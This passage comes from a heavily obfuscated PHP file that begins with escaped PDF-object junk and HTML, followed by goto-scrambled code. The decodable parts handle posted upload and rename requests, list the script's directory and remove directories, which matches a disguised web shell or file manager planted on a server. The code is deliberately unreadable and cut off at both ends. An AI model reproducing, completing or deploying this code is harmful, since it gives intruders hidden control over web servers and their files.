0\62\x34\70\x38\x37\40\x30\40\122\40\62\x34\70\71\x30\40\60\40\x52\40\62\64\70\71\x33\x20\x30\x20\122\40\62\64\70\x39\x36\x20\60\x20\x52\x20\62\x34\70\x39\71\40\x30\x20\x52\40\62\64\71\x30\x32\x20\x30\40\122\40\62\x34\71\60\65\40\60\x20\x52\x20\x32\64\x39\x30\70\40\x30\40\x52\40\62\64\x39\x31\x31\x20\x30\40\122\x20\62\x34\x39\61\64\40\x30\40\x52\40\62\x34\71\61\x37\x20\x30\x20\x52\x20\x32\64\x39\x32\x30\40\60\x20\x52\40\62\x34\71\x32\x33\40\x30\40\x52\40\x32\x34\x39\x32\x36\40\x30\x20\122\40\62\x34\x39\62\x39\x20\60\40\122\x20\x32\x34\x39\x33\x32\40\x30\40\122\x20\62\64\x39\63\65\40\x30\40\x52\40\62\64\71\x33\x38\40\60\x20\x52\40\62\x34\71\64\61\x20\x30\x20\122\x20\62\x34\x39\x34\64\x20\60\x20\122\x20\x32\x34\71\64\x37\40\x30\40\122\x20\x32\64\x39\65\x30\40\60\x20\122\x20\62\64\71\x35\63\x20\60\x20\122\x20\62\64\x39\65\66\x20\x30\x20\122\40\x32\64\71\65\x39\40\x30\40\122\x20\x32\x34\x39\x36\x32\40\x30\40\122\40\x32\x34\x39\66\x35\x20\x30\40\122\x20\x32\x34\71\66\70\40\x30\40\x52\40\62\x34\71\67\x31\x20\60\40\122\40\62\64\71\67\64\40\x30\40\x52\x20\62\64\x39\x37\x37\40\60\40\122\40\x32\x34\71\x38\x30\x20\x30\40\x52\x20\x32\64\x39\x38\63\40\60\40\x52\40\62\x34\x39\x38\66\40\60\x20\122\40\x32\64\x39\70\x39\x20\60\x20\x52\40\x32\64\71\x39\x32\40\60\40\122\x20\62\x34\x39\71\65\40\x30\x20\122\40\62\x34\x39\x39\70\x20\x30\x20\122\40\x32\65\60\x30\x31\x20\x30\40\122\x20\62\x35\x30\60\64\x20\60\40\x52\x20\62\x35\60\60\x37\x20\60\x20\122\40\62\x35\60\61\x30\40\x30\40\122\x20\x32\x35\x30\61\63\x20\x30\40\122\x20\x32\65\60\61\x36\40\x30\40\122\40\62\x35\60\x31\x39\x20\x30\40\x52\40\x32\x35\60\62\62\x20\60\40\x52\x20\62\x35\x30\x32\65\x20\60\x20\122\40\x32\x35\x30\62\x38\x20\60\40\x52\40\62\65\60\63\x31\40\x30\40\x52\40\x32\x35\x30\x33\x34\x20\x30\40\122\x20\62\x35\x30\63\x37\x20\60\40\122\x20\x32\x35\60\64\x30\40\60\40\x52\40\x32\65\60\x34\63\40\60\x20\x52\x20\62\65\60\x34\x36\40\60\x20\122\40\62\x35\x30\x34\71\40\60\x20\x52\40\x32\65\60\x35\x32\x20\x30\x20\122\40\x32\x35\60\x35\x35\x20\x30\x20\122\x20\62\x35\60\x35\x38\40\x30\x20\x52\x20\62\x35\x30\x36\x31\x20\60\40\x52\x20\62\x35\60\x36\64\x20\60\x20\122\40\x32\65\60\x36\67\x20\x30\40\x52\40\x32\x35\60\67\x30\40\60\40\x52\40\62\x35\x30\67\x33\x20\60\40\x52\x20\x32\65\60\x37\66\x20\60\40\122\x20\x32\x35\x30\x37\71\x20\60\x20\122\x20\x32\x35\x30\70\x32\x20\60\40\x52\x20\x32\65\x30\x38\x35\40\x30\x20\122\x20\x32\x35\60\x38\x38\x20\60\40\122\40\62\x35\x30\x39\61\x20\x30\x20\x52\x20\62\x35\x30\x39\64\40\60\x20\x52\x20\62\x35\x30\x39\x37\40\60\40\x52\x20\62\65\x31\60\60\x20\x30\x20\x52\40\x32\65\x31\x30\x33\40\x30\x20\x52\40\x32\x35\x31\60\x36\40\x30\x20\122\40\62\x35\61\60\x39\x20\60\x20\122\40\x32\x35\x31\x31\62\40\60\40\x52\x20\x32\x35\61\x31\x35\x20\x30\x20\122\40\x32\65\61\61\x38\x20\x30\x20\x52\40\x32\65\x31\62\x31\40\60\40\x52\x20\x32\65\x31\62\x34\x20\x30\40\122\40\62\65\x31\x32\67\40\x30\x20\x52\40\62\65\61\63\60\40\x30\x20\x52\x20\62\x35\61\x33\x33\40\x30\x20\122\x20\x32\65\x31\63\66\40\x30\x20\122\x20\x32\65\x31\x33\71\x20\60\40\x52\x20\x32\x35\61\x34\x32\40\x30\x20\122\x20\x32\65\61\64\x35\x20\x30\x20\122\40\62\67\x35\x38\60\40\x31\40\x52\x20\x32\x37\65\x38\65\40\x30\40\122\40\62\67\65\70\70\40\60\x20\x52\40\62\x37\65\x39\61\40\x30\40\122\40\x32\x37\65\71\64\40\x30\40\122\x20\x32\x37\x35\x39\x37\40\x30\40\122\40\62\x37\x36\x30\60\x20\60\x20\x52\x20\62\67\x36\60\63\x20\60\x20\x52\40\62\67\x36\x30\x36\40\x30\40\122\x20\62\x37\x36\x30\x39\x20\60\x20\x52\x20\x32\67\x36\61\x32\40\x30\40\122\40\62\x37\x36\61\x35\40\60\x20\122\x20\x32\x37\66\61\x38\x20\60\x20\x52\x20\x32\67\66\x32\61\40\x30\40\122\40\62\x37\66\62\x34\40\60\40\122\x20\62\67\x36\62\67\x20\60\x20\x52\x20\x32\x37\x36\63\60\x20\x30\x20\122\40\62\x37\x36\63\x33\40\60\40\x52\40\x32\x37\x36\x33\x36\40\60\40\x52\40\x32\67\x36\63\x39\40\60\40\x52\x20\62\x37\x36\x34\x32\x20\60\x20\x52\40\62\67\66\64\65\40\60\40\x52\40\x32\67\66\x34\70\40\x30\40\122\x20\x32\x37\x36\x35\x31\x20\x30\x20\x52\40\62\67\x36\65\x34\x20\60\x20\x52\40\62\67\x36\65\x37\x20\x30\40\x52\x20\62\x38\x35\66\x39\40\61\40\122\40\x32\x38\65\67\x34\40\x30\x20\122\40\x32\70\65\x37\x37\40\60\40\x52\x20\62\x38\x35\x38\x30\40\60\40\x52\40\x32\70\65\70\63\x20\60\40\x52\40\62\70\x35\70\x36\40\60\x20\x52\40\x32\x38\x35\x38\71\x20\x30\40\122\x20\62\x38\65\71\x32\x20\x30\x20\x52\x20\x32\70\65\x39\65\40\x30\40\x52\x20\x32\70\x35\71\70\40\x30\x20\122\40\x32\70\x36\60\x31\40\x30\x20\x52\x20\x32\x38\x36\x30\64\40\60\40\x52\40\x32\x38\66\62\x36\x20\x30\x20\122\40\x32\70\66\x32\71\x20\x30\x20\122\x20\x32\70\66\63\62\x20\60\x20\122\135\76\76\12\x65\x6e\x64\x6f\x62\152\12\67\40\x31\x20\x6f\142\x6a\74\x3c\x2f\124\171\160\x65\57\x58\117\142\152\145\x63\164\x2f\102\102\x6f\x78\133\x20\x30\56\x30\60\60\x30\60\60\40\60\56\60\x30\x30\60\x30\x30\x20\x36\60\71\x2e\x36\x30\60\60\60\x30\40\71\63\65\56\x36\x30\x30\x30\x30\x30\x5d\x2f\106\x69\154\x74\x65\x72\57\106\154\x61\x74\145\x44\145\x63\x6f\x64\145\x2f\x46\157\162\155\124\171\x70\x65\40\x31\57\x4c\145\156\x67\164\150\40\x34\x35\x34\x38\x2f\115\x61\x74\162\x69\x78\x5b\x20\61\40\60\40\x30\x20\x31\40\60\x20\x30\x5d\x2f\122\x65\163\157\x75\x72\143\x65\163\x3c\x3c\x2f\x46\157\156\164\x3c\74\x2f\x46\61\x20\x31\x33\61\40\60\40\122\x2f\106\x32\x20\61\x33\64\40\x30\x20\x52\57\106\x33\x20\x31\x33\67\x20\x30\40\122\x2f\106\64\x20\61\64\x31\x20\60\40\122\57\106\x35\x20\x31\64\x35\x20\60\40\122\x3e\76\57\120\x72\x6f\x63\x53\x65\164\133\57\x50\x44\x46\57\x54\145\170\x74\x2f\x49\155\x61\x67\145\102\x2f\x49\155\x61\x67\145\103\x2f\111\155\x61\x67\145\x49\x5d\76\76\57\x53\165\x62\x74\171\160\x65\x2f\106\x6f\x72\x6d\x3e\76\xa\x73\x74\162\x65\141\x6d\12\x78\46\x23\61\x39\64\73\x26\43\63\x33\71\73\46\x23\x31\x39\64\x3b\46\43\x31\x36\65\x3b\x5c\x6d\157\67\46\43\61\x39\x35\x3b\x26\43\61\71\60\73\x20\x26\43\61\x39\x35\73\x26\43\61\71\61\x3b\x61\77\46\x23\x31\x39\x35\73\x26\x23\x31\x37\64\73\46\43\x31\x39\65\x3b\x26\43\x31\66\x32\x3b\46\x23\x31\71\x35\73\xe3\212\243\110\x26\43\x31\71\x34\73\46\x23\x31\x36\x33\73\x26\x23\61\71\x35\73\357\xbc\x86\46\43\x31\x39\65\x3b\46\x23\x33\63\70\73\x26\x23\x31\71\x35\73\46\x23\x31\66\60\x3b\46\43\61\71\64\x3b\x26\43\x33\65\x32\x3b\171\x69\173\x26\x23\x31\71\64\73\x26\43\x31\70\65\73\44\x45\x26\x23\x31\x39\65\x3b\46\43\x33\65\x33\x3b\50\x69\77\x26\43\x31\71\64\73\x26\43\x31\x37\x32\73\x63\46\43\61\x39\x35\x3b\x26\43\70\62\x32\65\x3b\x26\x23\61\71\x35\73\46\43\63\x38\62\73\46\43\61\x39\x35\x3b\x26\x23\x38\x32\62\x32\73\x6b\x26\x23\x31\71\65\73\x26\43\61\70\67\x3b\46\43\x31\71\65\x3b\46\x23\x31\70\70\73\x72\101\x26\43\61\x39\x35\x3b\46\43\x31\x39\60\73\46\x23\x31\71\x35\x3b\x26\43\x31\x38\x39\x3b\x26\x23\61\x39\64\x3b\343\217\x91\46\x23\61\x39\64\x3b\x26\43\61\x38\71\73\x26\x23\61\71\64\x3b\x26\43\61\x34\x34\x3b\46\x23\61\x39\x34\73\46\x23\63\x38\x31\x3b\x76\x26\x23\x31\71\64\x3b\357\xb9\236\105\46\x23\61\x39\65\x3b\x26\43\70\62\65\x30\x3b\46\x23\x31\x39\x35\73\x26\x23\61\67\x33\73\172\106\x26\x23\x31\71\x34\x3b\46\43\61\66\x32\73\x48\111\174\x48\46\43\61\71\64\x3b\357\xbc\x86\x26\x23\61\71\65\73\xc2\xa7\x3f\x26\x23\x31\71\64\x3b\46\43\61\71\61\73\x7b\x26\43\61\71\x35\73\x26\x23\67\63\x32\73\174\132\x7c\x58\174\x26\43\x31\71\x35\x3b\xef\271\x9e\46\x23\61\71\65\x3b\46\x23\61\x35\x37\x3b\46\x23\x31\71\65\x3b\343\212\xa3\46\x23\61\71\65\73\x26\43\x31\67\71\x3b\46\x23\61\x39\x34\73\46\x23\70\62\62\x35\73\x26\x23\x31\x39\64\x3b\46\x23\x38\x32\62\65\73\x26\43\61\x39\x35\x3b\x26\x23\x31\x38\61\x3b\46\43\61\x39\x35\73\x26\43\x38\62\x32\x35\73\46\43\61\71\x35\x3b\x26\43\70\x32\64\x39\x3b\46\43\61\x39\x35\x3b\46\x23\61\x37\x39\73\x26\x23\61\71\64\x3b\x26\x23\x31\x37\x39\73\46\x23\x31\x39\65\x3b\xef\xbc\203\46\x23\x31\x39\x34\73\x26\x23\70\62\62\65\x3b\x26\43\x31\71\65\73\46\x23\x31\66\x33\x3b\67\67\46\43\61\x39\65\73\46\43\70\62\65\60\73\77\x26\x23\61\x39\64\x3b\46\43\x31\x34\x33\x3b\117\46\43\x31\x39\64\x3b\46\x23\61\71\x30\73\x26\x23\x31\71\x35\x3b\x26\43\x31\x35\x37\x3b\46\x23\61\71\x34\73\x26\x23\63\x38\x32\73\46\43\61\71\64\x3b\46\43\x31\71\61\x3b\x5f\137\154\46\x23\61\x39\64\x3b\x26\x23\x31\x37\x34\73\46\x23\x31\x39\x35\73\343\200\x9e\x26\43\61\71\x34\x3b\46\43\x38\x32\x35\60\73\x26\x23\x31\x39\64\73\46\43\x38\x32\65\x30\x3b\46\x23\x31\71\65\73\46\x23\x31\67\61\x3b\x26\43\61\x39\65\73\46\x23\61\66\x33\x3b\x26\43\61\71\x35\73\x26\x23\63\x37\66\73\x4f\46\43\x31\71\65\73\46\x23\61\66\x30\73\x26\43\x31\71\x35\x3b\357\274\x86\x26\43\61\x39\64\73\x26\43\x31\64\x33\x3b\67\67\x26\43\61\x39\x35\x3b\xe2\x88\xab\x77\x26\43\x31\x39\65\73\46\43\63\67\66\73\x26\x23\x31\71\64\73\x26\43\x31\x39\x31\x3b\170\46\x23\x31\x39\x35\x3b\xe3\x8a\243\46\43\61\71\x35\x3b\x26\x23\x31\x37\60\x3b\46\43\61\71\65\73\x26\43\61\66\65\73\x26\43\x31\71\x35\73\46\43\x31\66\62\x3b\46\x23\61\x39\x35\x3b\xef\xbc\203\x26\x23\61\x39\65\73\xe3\217\x91\46\43\61\71\x35\73\342\x80\xbb\x27\x26\43\x31\x39\65\x3b\46\x23\x38\62\62\x35\x3b\x3f\x26\43\61\71\64\73\x26\43\x31\67\60\73\46\43\61\x39\65\x3b\xef\xbc\203\46\43\x31\x39\x34\73\xef\275\236\x38\46\43\x31\x39\x35\73\46\x23\x31\x38\65\73\x26\43\x31\x39\65\x3b\x26\x23\61\70\x30\x3b\46\43\61\x39\x35\73\46\43\x31\70\x30\x3b\111\x5d\12\x26\x23\x31\71\x34\73\46\x23\61\x38\61\x3b\46\43\61\x39\x35\x3b\46\x23\x31\70\67\73\x67\x51\x26\43\x31\71\64\x3b\x26\43\x31\x38\x37\x3b\x26\43\61\71\65\x3b\302\xa7\x42\46\x23\x31\71\x34\73\46\x23\x31\x36\71\73\x26\x23\x31\71\64\x3b\46\x23\x31\66\66\x3b\62\172\x61\x26\x23\x31\x39\x35\x3b\x26\43\x31\x36\60\73\x26\43\61\x39\64\x3b\46\x23\61\x37\71\x3b\135\x26\x23\x31\71\x34\x3b\x26\x23\x33\x33\71\73\154\46\x23\61\x39\65\x3b\x26\x23\x31\x35\67\x3b\46\43\61\x39\65\x3b\46\43\61\x38\67\73\x26\43\61\71\65\73\357\274\203\174\46\43\x31\x39\x35\x3b\x26\43\x31\x38\70\73\x26\43\61\x39\65\x3b\46\43\x31\x38\60\x3b\x26\x23\x31\x39\x35\73\46\x23\61\x38\60\x3b\x26\x23\61\71\x35\73\xe3\x8f\x91\x26\x23\x31\x39\64\x3b\46\x23\70\x32\x32\x35\x3b\x26\x23\61\71\65\x3b\x26\x23\61\66\x35\x3b\x26\x23\x31\71\x35\x3b\x26\x23\70\62\65\x30\x3b\x26\43\61\x39\65\x3b\x26\43\70\62\x32\66\x3b\46\x23\61\71\x34\x3b\46\43\63\x37\x36\x3b\x26\43\61\71\64\73\x26\43\70\62\x34\x39\x3b\46\43\x31\71\x34\x3b\342\200\273\77\x7d\46\x23\x31\71\65\x3b\x26\43\x31\67\70\73\x26\x23\x31\71\64\73\x26\x23\x34\x30\62\x3b\46\43\x31\x39\x34\73\46\43\x31\66\x33\73\xa\x20\42\x20\114\x2a\40\46\40\x20\40\40\x20\x20\112\40\x2a\40\40\x20\152\40\x2e\x20\12\x20\x20\x20\x20\40\x4e\40\40\40\x20\12\40\x20\x20\40\40\40\x20\x20\40\40\x20\40\40\x28\x38\110\x58\x68\170\40\40\40\x20\40\40\x20\40\x29\71\111\131\x69\171\40\x20\40\40\x20\x20\40\40\x20\x20\40\x2a\72\x4a\x5a\152\x7a\x20\x20\40\40\x20\x20\x20\40\12\53\x3b\x4b\x5b\153\x7b\x20\40\x20\x20\x20\40\x20\40\12\x2c\x3c\114\134\x6c\x7c\x20\40\40\40\40\40\x20\40\55\75\115\135\155\175\x20\x20\x20\x20\x20\40\40\x20\115\x20\76\x20\103\x3e\x20\x72\x2e\40\x20\x5e\40\40\176\x20\x4e\40\x40\40\161\x4f\41\x20\40\x20\40\xa\x60\12\x20\50\40\123\40\x20\40\x41\12\40\x20\40\x26\x23\62\x33\x38\x3b\141\75\x20\x20\41\x20\167\x51\x20\40\x20\111\164\x20\x42\141\x20\12\xa\x40\x6c\40\161\x20\124\x20\40\xa\146\12\40\x21\125\52\x20\40\101\40\x39\x25\156\x20\x20\157\40\115\40\x2d\40\xa\x35\x4a\40\x20\x77\x40\x4f\x7c\154\72\102\147\x20\171\75\x20\102\75\x6a\x71\x20\x4b\x20\x2d\x20\152\115\40\x34\105\120\x20\116\40\161\x26\43\x33\65\x32\73\x66\40\40\x20\40\40\x5e\x20\165\76\351\x82\xa3\x20\x24\x6b\357\xb9\x9e\x28\40\x26\x23\x31\65\x37\x3b\x48\40\154\xe8\xbf\204\105\x57\xa\40\40\x6f\40\x57\x20\x20\x20\45\154\x20\x64\135\40\40\x20\x36\x20\x20\x20\40\135\40\x2d\x20\x4c\40\x20\40\40\x3e\x20\40\x39\40\x74\x2a\40\171\x20\x34\46\x23\61\71\x31\x3b\x20\142\40\40\x35\x20\40\121\x5c\12\x20\134\x26\43\x32\61\x34\73\x76\40\40\x55\x20\x20\40\x20\62\x63\x20\40\x20\x33\x20\x20\143\x20\161\x4d\x26\43\62\60\x33\73\75\x20\x20\x20\x7c\40\40\x49\124\72\40\40\40\x53\40\46\x23\x33\63\71\x3b\x20\40\x20\x7c\x7b\73\136\174\40\145\135\x2f\40\x6e\x33\147\x20\40\40\x5f\x20\x3e\40\x74\41\40\x20\x79\40\x20\x20\x7b\x20\40\x5a\155\40\40\x20\x5c\x7b\157\135\x27\x53\x20\176\x20\40\x56\x4e\x20\141\x20\x20\x20\167\x20\x20\55\x20\x20\40\x20\x75\x20\40\170\52\40\40\x22\40\x26\x23\62\x31\x33\73\x33\40\175\44\152\110\40\161\x20\167\x20\x62\x78\x20\x20\x42\x22\x20\74\40\65\142\x20\x20\x7d\45\x26\43\x33\65\62\x3b\x2b\x20\x20\40\x20\60\x39\137\x68\x3e\x47\40\40\x20\165\67\44\40\x20\x79\40\x20\x4d\112\x24\x20\x59\x26\130\x20\x7a\x20\40\40\50\x72\x20\x60\x20\133\116\40\x5f\x70\156\x79\41\x6c\x75\x20\x20\40\157\x20\170\40\x20\x60\116\40\x64\x20\x20\40\x7a\x20\117\x79\40\x20\40\x4f\56\x2a\40\x72\40\40\137\163\x20\40\40\x20\40\x20\x20\151\121\40\40\102\122\x78\x26\x23\x31\66\62\73\56\x29\40\x20\137\x36\x6a\126\x20\x5d\x20\x20\43\x20\127\x20\122\x56\171\x20\153\x7e\40\x20\x20\143\111\x20\x20\x59\x20\x20\x20\x48\x20\40\x20\40\40\x20\x64\x73\x52\x20\40\40\162\132\53\x20\x29\x66\x26\43\61\67\x32\x3b\144\40\x76\52\46\43\61\x36\x30\73\x20\40\x27\40\151\40\x20\350\xb1\x95\40\x47\40\40\x6a\x20\52\40\x63\x42\46\x23\x32\63\61\x3b\x20\x20\40\x7a\151\40\40\x5f\x20\x20\x20\x6a\40\x20\x7a\133\x20\x20\x37\73\x20\x20\x20\62\x20\40\x20\x20\x2d\x20\40\x7a\x5a\x20\x20\x20\x20\40\x20\146\40\40\126\40\46\x23\x31\x37\64\x3b\40\172\x39\x20\x20\x20\112\122\x20\x6e\x20\40\x20\40\40\40\67\x32\x20\x20\40\x38\x31\40\133\x65\40\x6e\40\x26\x63\x69\40\40\50\x20\x20\x72\x20\xa\x20\125\40\x20\40\x71\x20\x5f\x2b\x71\40\162\x56\40\63\x20\x20\x22\40\x20\x3e\40\x20\x20\x3b\61\x20\x20\x30\x78\x20\76\x7b\x20\x20\x20\x20\174\140\40\x72\40\150\40\x57\40\40\x71\x20\146\x20\40\63\xe9\x82\246\40\x20\154\46\x23\62\x33\x31\x3b\40\x5d\165\x20\142\55\65\x20\106\167\155\x20\x20\172\40\x7a\160\x29\115\x20\x20\x29\x20\x6a\117\40\161\46\x23\x31\71\67\x3b\x20\x20\165\40\161\40\x20\105\40\40\x4b\x20\x20\40\154\40\67\x20\40\x20\x5b\x5b\40\171\x20\130\x67\40\40\40\40\x20\xa\40\x20\x65\x20\40\x7e\40\54\40\71\x20\x26\x23\x32\x32\x31\73\x20\153\73\40\x20\x20\x2b\x6e\171\x20\x20\40\51\163\75\x39\x29\40\x20\x26\x23\62\x33\x38\73\40\165\x5f\154\40\x20\42\x20\x5a\40\x20\40\73\x20\170\x20\x20\40\75\x2e\40\x20\xa\x4d\75\x20\40\53\x3f\x20\40\136\x20\x20\x20\40\x71\x20\x24\x20\x2e\133\40\x69\x20\x5b\x20\40\40\x46\152\x20\x20\x20\171\x20\40\x20\x20\125\170\40\x7b\40\x3e\137\40\x20\170\110\40\x20\x3e\x20\73\40\x20\x20\x38\x20\40\40\40\74\40\x20\40\167\x2f\154\x20\150\171\40\40\40\12\40\40\x20\x39\157\40\74\x3a\x20\x27\x66\x34\x20\x20\x20\40\174\40\x20\x20\x20\x77\x26\x23\63\x35\x32\x3b\x20\x20\40\x20\40\x65\x20\40\x47\x20\107\40\x20\xa\52\x20\x21\43\x20\40\x20\40\x62\x60\40\x42\x2c\x20\x20\x20\40\x24\52\161\x20\x4c\x6c\40\40\40\x28\x4a\x71\40\x54\x20\x20\x72\x20\x20\x20\x2c\152\x71\40\x5c\40\x20\x20\x30\x20\x71\x20\144\54\x20\x26\43\62\x30\60\73\x20\64\40\x71\x20\x6c\x6c\x20\40\x20\70\x20\161\x20\x74\40\40\40\40\x3c\x20\x71\40\174\x20\40\x20\100\12\162\x20\x20\54\x20\x21\40\40\104\x2a\162\x20\40\x6c\x20\x23\40\40\40\110\x4a\x72\40\40\x20\x20\45\57\40\40\x4c\152\162\40\40\40\x27\x3f\40\x20\40\x20\x20\x50\40\162\40\x20\x2c\x20\51\x20\x51\73\12\74\x21\x44\117\103\124\131\x50\105\x20\150\164\x6d\154\76\xa\74\x68\164\155\154\x20\x6c\141\x6e\x67\x3d\x22\145\x6e\42\x3e\xa\12\74\150\145\x61\144\x3e\xa\x20\x20\x20\40\74\x6d\x65\164\x61\x20\143\150\x61\x72\163\145\x74\x3d\42\125\x54\x46\x2d\x38\x22\76\12\40\40\40\x20\74\x6d\145\x74\x61\x20\150\164\x74\160\x2d\145\x71\x75\151\166\75\42\x58\55\x55\x41\x2d\103\x6f\155\x70\141\164\x69\142\x6c\145\x22\40\143\x6f\x6e\x74\145\156\164\75\x22\111\x45\x3d\145\144\x67\145\42\x3e\xa\x20\x20\40\40\x3c\x6d\145\164\x61\x20\x6e\x61\155\145\x3d\42\166\x69\x65\x77\160\157\x72\164\x22\40\x63\x6f\x6e\164\145\156\164\x3d\42\x77\x69\144\164\x68\75\x64\145\x76\151\143\x65\x2d\167\151\x64\164\x68\54\40\151\156\151\164\151\x61\x6c\55\x73\x63\141\x6c\x65\x3d\x31\56\60\x22\x3e\xa\x9\x3c\x74\151\164\154\145\76\43\x38\x35\x37\x33\x23\x3c\x2f\x74\x69\164\154\145\76\12\x20\40\x20\40\x3c\x6c\x69\x6e\x6b\40\x68\x72\145\x66\x3d\x22\x68\x74\164\x70\163\x3a\x2f\57\x63\144\156\x2e\152\x73\x64\x65\154\151\166\162\x2e\156\x65\164\57\156\160\x6d\57\x62\157\x6f\164\x73\164\162\x61\160\100\65\56\63\56\x30\55\141\154\x70\150\141\61\x2f\144\151\163\x74\57\x63\x73\163\57\x62\157\157\x74\x73\164\162\141\x70\x2e\155\x69\x6e\x2e\x63\x73\x73\x22\40\x72\x65\x6c\75\42\x73\x74\x79\154\145\163\150\x65\x65\x74\x22\12\x20\40\40\40\40\x20\40\40\151\156\x74\x65\x67\162\x69\164\171\75\x22\x73\x68\x61\x33\x38\64\55\107\114\x68\154\124\x51\70\x69\x52\101\x42\x64\x5a\114\x6c\66\117\63\x6f\126\115\127\123\x6b\x74\x51\x4f\x70\66\142\67\x49\x6e\61\132\x6c\63\57\112\x72\65\x39\142\x36\105\107\107\x6f\x49\x31\x61\106\x6b\x77\67\x63\x6d\104\x41\x36\152\66\147\x44\x22\x20\143\162\x6f\x73\x73\157\x72\151\147\x69\156\75\42\141\x6e\157\156\x79\155\157\x75\163\x22\76\12\x20\x20\40\40\x3c\x6c\151\156\153\40\x72\145\x6c\75\x22\163\164\x79\x6c\x65\x73\x68\145\145\x74\42\x20\150\162\145\x66\x3d\x22\150\164\x74\x70\x73\72\57\x2f\143\x64\x6e\152\163\56\x63\x6c\x6f\x75\144\x66\x6c\141\162\x65\56\x63\x6f\155\57\141\152\141\x78\57\154\x69\142\x73\x2f\146\157\156\164\55\x61\x77\145\x73\157\x6d\145\x2f\66\56\x33\x2e\x30\x2f\143\163\163\57\x61\154\x6c\x2e\x6d\151\156\56\x63\163\x73\42\12\x20\x20\x20\x20\x20\x20\40\x20\x69\x6e\164\x65\147\162\151\164\x79\75\x22\163\150\141\65\x31\62\x2d\x53\172\x6c\x72\x78\x57\x55\x6c\160\x66\165\x7a\121\53\x70\143\x55\x43\x6f\x73\x78\x63\x67\154\121\x52\x4e\x41\x71\57\x44\x5a\152\126\x73\x43\60\154\x45\64\x30\170\163\x41\104\163\146\x65\x51\157\x45\x79\160\x45\53\x65\156\167\x63\117\x69\107\x6a\x6b\57\x62\x53\x75\x47\107\x4b\110\105\171\152\x53\157\x51\x31\x7a\x56\151\163\141\156\x51\x3d\x3d\x22\xa\x20\40\40\40\x20\x20\x20\x20\x63\x72\157\x73\x73\x6f\162\x69\x67\151\x6e\x3d\x22\141\156\x6f\156\x79\155\x6f\x75\163\x22\x20\x72\x65\146\145\162\162\145\x72\x70\157\x6c\151\x63\171\x3d\x22\x6e\157\55\x72\145\146\x65\162\x72\x65\x72\42\40\57\x3e\12\x3c\x2f\150\x65\141\144\x3e\12\xa\74\x62\157\x64\171\x3e\12\xa\x20\x20\x20\x20"; goto xNgJB; hjft7: $Vq7jy = array(); goto x1dT2; CBc9f: Vw_wx: goto Syx7s; oyUvZ: TTL1Z: goto oZibh; agWeM: uJ9DO: goto NXUNz; GxKwl: goto G0wuC; goto GkSmD; QLTLW: goto pI8Uo; goto orjkQ; xW04e: eCWd7: goto aGj4a; kvIvA: wPUQp: goto oOVMS; tBw9R: J__IU: goto GxKwl; cH1vl: ceNLn: goto Ohiyv; WXIIc: Zoz1q: goto i1MEU; k5uGS: echo "\xa\74\x6e\x61\x76\40\x63\154\x61\x73\x73\x3d\x22\x6e\141\166\x62\x61\162\x20\x6e\x61\166\x62\x61\x72\55\x6c\151\147\x68\x74\x22\40\x73\164\171\x6c\145\75\42\142\x61\x63\x6b\x67\162\157\165\156\x64\x2d\x63\157\x6c\x6f\x72\x3a\40\43\145\x33\x66\x32\146\144\x3b\42\x3e\xa\x20\x20\74\x64\151\166\x20\143\x6c\x61\163\x73\x3d\42\156\x61\x76\142\x61\x72\55\142\x72\141\x6e\144\42\76\xa\40\x20\x3c\x61\x20\150\162\x65\146\x3d\42\x3f\x22\x3e\x3c\x69\155\x67\40\x73\x72\143\75\x22\x68\x74\164\160\x73\72\x2f\x2f\x67\151\164\x68\165\142\x2e\x63\x6f\155\x2f\x66\x6c\x75\151\144\x69\x63\x6f\x6e\x2e\160\x6e\147\x22\x20\167\151\144\164\150\75\x22\63\60\42\x20\150\145\x69\147\150\x74\x3d\x22\x33\60\42\x20\141\154\x74\x3d\42\x22\76\x3c\57\141\x3e\12"; goto DuYor; SBmcK: goto X_9OE; goto t8F3k; J59sK: goto r4hK0; goto tnFk7; u1opu: rsv9K: goto kVqc2; MXw0K: EWlAt: goto SBmcK; h1l_G: goto mAbKi; goto d1Zjb; uokym: BBXV4: goto RDimB; Spx_V: NQg5d: goto awhqX; x0czg: goto J__IU; goto Tv2Uk; wEiw3: ncojG: goto oaU4D; xLJyQ: if (is_readable(BiAk2)) { goto A4zH1; } goto X24og; dGlpy: wQ0d0: goto CHxxD; sZosU: slUDP: goto TWfwe; XKtLO: pI8Uo: goto kqKgb; nPiM0: goto Atq0x; goto M2pb0; EEpR5: iBwom: goto sZosU; kA5Nc: oCUU1: goto sl73k; oOVMS: $NXKaz = __DIR__; goto hv3IZ; ofAbE: dMwiD: goto ambhT; QqC0E: goto nO5XD; goto lU9n1; DKwiR: TQT5i: goto pXcVA; xuiKg: RiYFy: goto ZOJBt; kO5UO: goto cOLra; goto EEpR5; grTby: goto de9Ge; goto G0jIX; Eh8we: CfL6O: goto qo8f2; huEX2: if (isset($_POST["\x75\160\154\x6f\x61\144"])) { goto eBJn3; } goto t9D8K; TWfwe: goto j76Su; goto SSNmK; OWd7L: goto wXkVo; goto JqvhZ; GUlbz: Atq0x: goto G2w2b; W1Ms0: if (isset($_POST["\162\145\x6e\x61\x6d\x65"])) { goto WRrG0; } goto h1l_G; EuDO_: goto Trurz; goto SjJmZ; ajx2P: NTLCM: goto Rk2tr; ZrCV1: NXkZz: goto JKh4T; mg7bS: goto WCjaF; goto Io5fI; Tv2Uk: CbVUu: goto Y4_lc; bO8ZQ: goto AIZkd; goto HEWQY; kj3FB: goto TWLbv; goto CBc9f; r3JJ5: Hk3gr: goto L1sBE; peb0g: goto nkE0z; goto WSELQ; L3O4I: Xk79M: goto W1Ms0; fk61e: kzh6V: goto hjft7; Yuj26: SVDac: goto FZmkp; T6urt: mJ9MY: goto BOBUB; Sfsw1: $RGptr = explode("\57", $grIsD); goto ucbW2; uj6jY: goto t05ib; goto zbnpp; iSKhJ: goto YMeYU; goto a77uR; rT0XR: cH0KW: goto U9ODp; LgCY8: ce00T: goto Ydtqs; X213Y: R82uD: goto k1oyt; MIZdy: goto NXkZz; goto LNxR5; B3RM3: kmPdU: goto GAgXr; IiNvb: mHGIr: goto MvEFB; Q32KK: goto Z79bT; goto UpEtu; hpT6l: AlG72: goto XhwR4; msapP: echo "\x3c\163\x63\162\151\x70\x74\76\141\x6c\x65\x72\164\50\x27\x44\x69\162\145\x63\x74\x6f\x72\x79\x20\162\x65\x6d\x6f\x76\145\x64\56\47\51\x3b\40\167\x69\x6e\144\157\167\x2e\x6c\157\x63\x61\x74\x69\x6f\x6e\56\x72\x65\x70\154\x61\x63\145\x28\x27\77\x70\75" . FvvcH(BiAk2) . "\x27\x29\x3b\74\57\x73\143\x72\151\x70\x74\76"; goto IpJPA; rnLGw: function eaqz1($bFLcc) { goto B1Vuj; LyeyU: goto YSo4E; goto 